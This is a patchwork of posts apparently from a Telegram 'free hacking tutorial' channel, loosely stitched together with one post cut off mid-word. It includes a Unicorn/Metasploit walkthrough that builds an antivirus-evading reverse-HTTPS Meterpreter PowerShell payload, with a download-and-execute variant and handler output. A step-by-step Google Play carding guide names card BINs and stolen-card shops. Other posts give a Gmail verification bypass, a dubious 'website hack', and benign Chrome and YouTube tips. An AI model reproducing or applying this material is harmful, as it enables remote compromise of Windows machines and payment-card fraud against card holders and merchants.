./unicorn.py windows/meterpreter/reverse_https gtATTACKER-IP-ADDRESSlt gtPORTlt

Unicorn will use the Metasploit reverse_https module to connect to the attackers IP address using the specified port.

@free_hacking_tutorial

[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...

,/
//
,//
___ /| |//
__/\_ --(/|___/-/
\|\_-\___ __-_- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( ( __\|
\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ /_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \--, _/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ ---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ ---_\--, \ \_,./ |
| \ \_ \ /---_______-\ \\ /
\ \.___,| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( _' \ |
\. \ \. \ / | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( ; ( _; ('-_';
|___\ \___: \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Nahom

@free_hacking_tutorial
Happy Magic Unicorns.

[********************************************************************************************************]

-----POWER

SHELL ATTACK INSTRUCTIONS----

Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute.

Note that you will need to have a listener enabled in order to capture the attack.

[*******************************************************************************************************]

[*] Exported powershell output code to powershell_attack.txt.
[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.

When Unicorn is done generating the payload, two new files will be created. The first is powershell_attack.txt which can be viewed using the cat powershell_attack.txt command. This reveals the PowerShell code that will execute on the target Windows 10 machine and create the meterpreter connection.


@free_hacking_tutorial

The other file created by Unicorn is unicorn.rc, a resource file which will automate the msfconsole setup and configuration.

Step 4

Start Msfconsole Using the Resource File

To start Metasploit, run the msfconsole -r /opt/unicorn/unicorn.rc command.

@free_hacking_tutorial

msfconsole -r /opt/unicorn/unicorn.rc

=[ metasploit v4.16.59-dev- ]
+ -- --=[ 1769 exploits - 1008 auxiliary - 307 post ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /opt/unicorn/unicorn.rc for ERB directives.
resource (/opt/unicorn/unicorn.rc)> use multi/handler
resource (/opt/unicorn/unicorn.rc)> set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
resource (/opt/unicorn/unicorn.rc)> set LHOST 192.168.1.5
LHOST => 192.168.1.5
resource (/opt/unicorn/unicorn.rc)> set LPORT 443
LPORT => 443
resource (/opt/unicorn/unicorn.rc)> set ExitOnSession false
ExitOnSession => false
resource (/opt/unicorn/unicorn.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/opt/unicorn/unicorn.rc)> exploit -j
[*] Exploit running as background job 0.

[-] Handler failed to bind to 192.168.1.5:443

msf exploit(multi/handler) > [*] Started HTTPS reverse handler on https://0.0.0.0:443

The resource file will automatically enable the handler (multi/handler), set the payload type (windows/meterpreter/reverse_https), set the attacker's IP address (LHOST), set the port number (LPORT), enable stager encoding (EnableStageEncoding), and start the msfconsole listener (exploit -j) — easy.

At this point, everything on the attacker's side is set up and ready for incoming connections. Now it's just a matter of verifying the payload works and effectively bypasses Windows Defender and antivirus software.

@free_hacking_tutorial

That's it for installing Metasploit, creating the PowerShell payload with Unicorn, and automating the msfconsole startup. Unicorn is a great tool which takes the difficulty out of creating sophisticated PowerShell payloads capable of bypassing popular antivirus software. In my follow up article, I'll show how to convert the PowerShell code into an executable and a few tricks for making the executable appear as an ordinary text file, so stay tuned.

@free_hacking_tutorial

Step 5

Test the Payload (Don't Upload It to VirusTotal)

In my tests, Unicorn's PowerShell payload was able to bypass Google Chrome, Windows Defender, and Avast antivirus detections in a fully patched Windows 10 Enterprise machine.

Many projects warn penetration testers of the dangers of using online virus scanners like VirusTotal. In the case of TheFatRat, the developer's explicitly caution against using VirusTotal every time the program starts.


As someone who regularly experiments with many antivirus evasion software, I completely understand the temptation to know if the created payload will evade detection of the most popular antivirus software technologies. However, uploading to online virus scanners is extremely damaging to these projects. VirusTotal shares uploaded payloads with third-parties and, as a result, their collective detection rates dramatically increase over a short period of time.

As an alternative to online scanners, I encourage pentester's to simulate their target's operating system environment using virtual machines. For example, if it's discovered that a target on the local network is using Windows 10 with AVG or Avast, create a Windows 10 VM, install the latest antivirus software in the VM, and test payloads inside the VM. This will give pentester's some reassurance that a payload is working properly and prevent VirusTotal from over-analyzing the malicious file and sharing its results with other companies.

@free_hacking_tutorial

@free_hacking_tutorial
Adobe Releases Security Patch Updates For 112 Vulnerabilities

Adobe has released security patches for a total 112 vulnerabilities in its products, most of which have a higher risk of being exploited.

The vulnerabilities addressed in this month's patch Tuesday affect Adobe Flash Player, Adobe Experience Manager, Adobe Connect, Adobe Acrobat, and Reader.

None of the security vulnerabilities patched this month were either publicly disclosed or found being
@free_hacking_tutorial

🎁 Google play store carding 🎁
➖➖➖➖➖➖➖➖➖➖➖➖
1.If you wanna card Google play and Google play gift card
👉 As usual clear your Cookies in browser via Ccleaner.
[According to the BIN, I have mentioned the IP below]

2. Then go to any app that is paid and below like 2$ or less , go to payment info.

3. Get your live CC from me or buy from shop like unicc, jstash etc..,

4. Bin recommended 517805,372739 ,417409 or amex gold ,capital one bank (only USA cc)

5. If you going for public cc I recommend Amex, are good for google play
❗️Even if the card dont have name and zip you can add any name and us zip because those bin are Non-AVS
[If you dont know what is Non-Avs / AVS the just click it to learn

6. Now save the card and ready to pay.

7. If the payment successful for that app,
👉 then go to buy google play credit and select your gift card 5$,10$,15$,25$ or 50$ .

8. Now all done and it will success mostly because of Non-AVS BIN.

9. Even if card declined after use, Google play never charge back and card showing declined will always work for small amount like 5$ after few weeks.
➖ @free_hacking_tutorial➖

How To Make Google Chrome Browse More Faster With These 4 Steps🤩🤩🤩
The method is very simple and we will be editing some hidden feature of chrome in this method and with that you chrome speed will boost up and it will browse webpages faster. So follow up the below methods to proceed:

#1 Method: Editing Chrome Flag Settings To Make It Faster

1. First of all open the address chrome://flags/ in your Google chrome.

2. Now there you will see lots of settings there.

3. Search out for "Maximum tiles for interest area" and change its value to 512 that is maximum RAM that you will be allocating to the Chrome.( You can use ctrl+f to find these options).

4. Now search For the "Number of raster threads" and change its value to 4.

5. Now enable "Enable fast tab/window close".

6. That's it now relaunch your browser and enjoy the faster performance of your browser.

#2 Method: Using Google Chrome Extension
1. Download and install a cool plugin
Web Boost in your Google chrome.

2. Thats it this extension will get added to your browser and you can see icon at the right top corner, just click on it to start it.

#3 Method: Changing The Settings In Google Chrome

1. First of all go to three line button at the the top right corner of your Google chrome.

2. Then click on "settings" and then "Show Advanced Settings" 
.
3. Now under privacy look for "Prefetch resources to load pages more quickly" and tick on it.

4. There you will have 3 options listed in your android chrome which can be set according to as:
Always :- If you want to load pages both on cellular and wifi network.
Wifi – If only wifi connection is there then only it will load prefetch pages.
Never :- It will never prefetch pages and this can save your data on your limited connection.

#4 Method: Clearing Cache & unnecessary Plugins and Extensions

1. Type chrome://plugins/ in your google chrome and clear out or say remove the plugins that are unnecessary in your browser.

2. Type chrome://extensions/ in your chrome browser and clear all the extension that you don’t need in your browser.

3. Type chrome://settings/clearBrowserData and clear all your history from beginning including history, cache file and all other saved data of your browser to make it faster.

With these ways you can easily boost up your browser speed and can enjoy fast switching speed between tabs.

@free_hacking_tutorial

⭕YOUTUBE TRICKS⭕



Are you fond of downloading music and videos but you have problems in downloading it..Here is tricks in youtube.

1.How to download only audios of a music or video simply go to the address bar and replace "youtube" with "listentoyoutube" and paste it in your address bar to download the audio of the video.

2.To download youtube videos in any quality like mp3,mp4,3gpsimply replace "youtube" with "ssyoutube" in your browser URL and paste it in your address bar of your browser.
3.Tried of age restictions when downloading video in youtube just replace "youtube" with "nsfwyoutube" in the URL and paste it in your address bar.

4.To remove advert from your youtube.Replace "youtube" with "youtubeskip" in the url and paste it in the address bar.

5.To convert the video to graphical interweave format(gif)in youtube just replace"youtube" with "gifyoutube"
Free tutorials and lifehacks 👌👍
@free_hacking_tutorial

​​How to create cool looking Android Theme setup?

@free_hacking_tutorial

Themes can be handy in Android Devices to get what we want quickly as well keeping device look beautiful. Here are some customised setup recipes to customise your android to look amazing.

Ultimate Spiderman Theme

The Apps you need:

➤ Nova launcher
➤ Zooper widget pro
➤ Zwart iconpack
➤ Solid Explorer

➤ Theme Setup Zip [Google Drive link]

Steps:

1. Install above apps first

2. Download Theme Setup Zip file

3. Copy and paste all "folders" of zip file inside the folder of 'copy these folder into internal memory' into internal memory and merge it or replace with current content of internal memory.

4. Set Nova launcher a default launcher from settings.

5. Goto settings of nova launcher and goto backup and import settings then goto restore or manage backups and click Ok.

6. Now it will load the theme setup and in homescreen you will see two blank zooper widgets

7. Click on upper one and load the first widget theme from sd card from that unzipped folder and do the same for second too.

8. Your Spiderman Theme is ready now. You can customize more by your needs.

Enjoy.

@free_hacking_tutorial

🔰 : How to Hack a Website with Basic HTML Coding
━━━━━━━━━━━━━━━━━━
⚠️ : PC
━━━━━━━━━━━━━━━━━━
♻️ Open the site you want to hack.

♻️ Right click anywhere on that error page =>> go to view source.

♻️ View the source code.

♻️ Delete the JavaScript from the above that validates your information in the server.

♻️ Take a close look for "<_input name="password" type="password">"[without quotes] -> replace "<_type=password>" with "<_type=text>".

♻️ Go to file => save as and save it anywhere in your hard disk with ext.html (e.g.: c:\chan.html).

♻️ Reopen your target web page by double clicking 'chan.html' file that you saved in your hard disk earlier.

♻️ Provide any username [e.g.: hacker] 
━━━━━━━━━━━━━━━━━━
@free_hacking_tutorial👹

Hacker's Dictionary

Are you new to the realm of hacking?

Do you feel dumb when you don't know the meaning of a certain term?Well, then this will certainly help you out! . If you are ever unsure about anything, simply scroll down and find that specific word, then read the definition.

Anything includes: Abbreviations, Phrases, Words, and Techniques.*The list is in alphabetical order for convenience!*

Abbreviations

? DDoS = Distributed Denial of Service

? DrDoS = Distributed Reflected Denial of Service Attack, uses a list of reflection servers or other methods such as DNS to spoof an attack to look like it's coming from multiple ips. Amplification of power in the attack COULD occur.

? FTP =File Transfer Protocol. Used for transferring files over an FTP server.

? FUD = Fully Undetectable

? Hex =In computer science, hexadecimal refers to base-16 numbers. These are numbers that use digits in the range: 0123456789ABCDEF. In the C programming language (as well as Java, JavaScript, C++, and other places), hexadecimal numbers are prefixed by a 0x. In this manner, one can tell that the number 0x80 is equivalent to 128 decimal, not 80 decimal.

? HTTP =Hyper Text Transfer Protocol. The foundation of data communication for the World Wide Web.

? IRC = Internet Relay Chat. Transmiting text messages in real time between online users.

? JDB =Java drive-by, a very commonly used web-based exploit which allows an attacker to download and execute malicious code locally on a slave's machine through a widely known java vulnerability.

? Malware =Malicious Software

? Nix = Unix based operating system, usually refered to here when refering to DoS'ing.

? POP3 =This is the most popular protocol for picking up e-mail from a server.

? R.A.T = Remote Administration Tool

? SDB = Silent drive-by, using a zero day web-based exploit to hiddenly and un-detectably download and execute malicious code on a slave's system. (similar to a JDB however no notification or warning is given to the user)

? SE = Social Engineering

? Skid =Script Kid/Script Kiddie

? SMTP =A TCP/IP protocol used in sending and receiving e-mail.

? SQL =Structured Query Language. It's a programming language, that used to communicate with databases and DBMS. Can go along with a word after it, such as "SQL Injection."

? SSH =Secure Shell, used to connect to Virtual Private Servers.

? TCP = Transmission Control Protocol, creates connections and exchanges packets of data.

? UDP =User Datagram Protocol, An alternative data transport to TCP used for DNS, Voice over IP, and file sharing.

? VPN =Virtual Private Network

? VPS =Virtual Private Server

? XSS (CSS) = Cross Site Scripting

Words

?Algorithm = A series of steps specifying which actions to take in which order.

?ANSI Bomb = ANSI.SYS key-remapping commands consist of cryptic-looking text that specifies, using ansi numeric codes to redefine keys.

?Back Door = Something a hacker leaves behind on a system in order to be able to get back in at a later time.

?Binary = A numbering system in which there are only two possible values for each digit: 0 and 1.

?Black Hat = A hacker who performs illegal actions to do with hacking online. (Bad guy, per se)

?Blue Hat =A blue hat hacker is someone outside computer security consulting firms who is used to bug test a system prior to its launch, looking for exploits so they can be closed. Microsoft also uses the term BlueHat to represent a series of security briefing events.

?Bot = A piece of malware that connects computer to an attacker commonly using the HTTP or IRC protocal to await malicous instructions.

?Botnet = Computers infected by worms or Trojans and taken over by hackers and brought into networks to send spam, more viruses, or launch denial of service attacks.

?Buffer Overflow = A classic exploit that sends more data than a programmer expects to receive. Buffer overflows are one of the most common programming errors, and the ones most likely to slip through quality assurance testing.

?Cracker = A specific type of hacker who decrypts passwords or breaks software c

How to Covert Phonepe Wallet Balance Into Paytm Cash

1. Go to
Zingoy.com

2. Login/signup

3. Search Paytm

4. Select Paytm Gift Card

5. Add 100 Rs. gift cart to Cart

6. Proceed to Payment

7. Choose PhonePe

8. Enter Your Phonepe Number & Verify via otp

9. Choose Wallet Balance & Phonepe App or other option (5 Rs. extra Zingoy Service Charge )

10. Yup ! after successful order placed you got a promocode of paytm for add money

11. Then Go To Paytm

12. add money, enter amount then choose have a promocode then applied promocode

13. Proceed to Payment.

14. Done , Cashback Added
( You Will Get Cashback Within 24 hours)

😝@free_hacking_tutorial😝

😜HOW TO BYPASS GMAIL MOBILE VERIFICATION TUTORIAL👌


STEP-1

◾️Go to K7.net Sign up there.


STEP-2

◾️Create an account on gmail, but in location fill United States.


STEP-3

◾️After Creating your e-mail account,Now it will take you to mobile verification page.

STEP-4

◾️Here select the option of Voice call and fill the no: that you got from the website (k7.net)


STEP-5

◾️Now you will get a mail having verification code as voice mail on that account from which you have registered on.

STEP-6

◾️Go open it,
download
the attachment file and listen the code after that type the code of your voice mail in verification code and click
OK.
@free_hacking_tutorial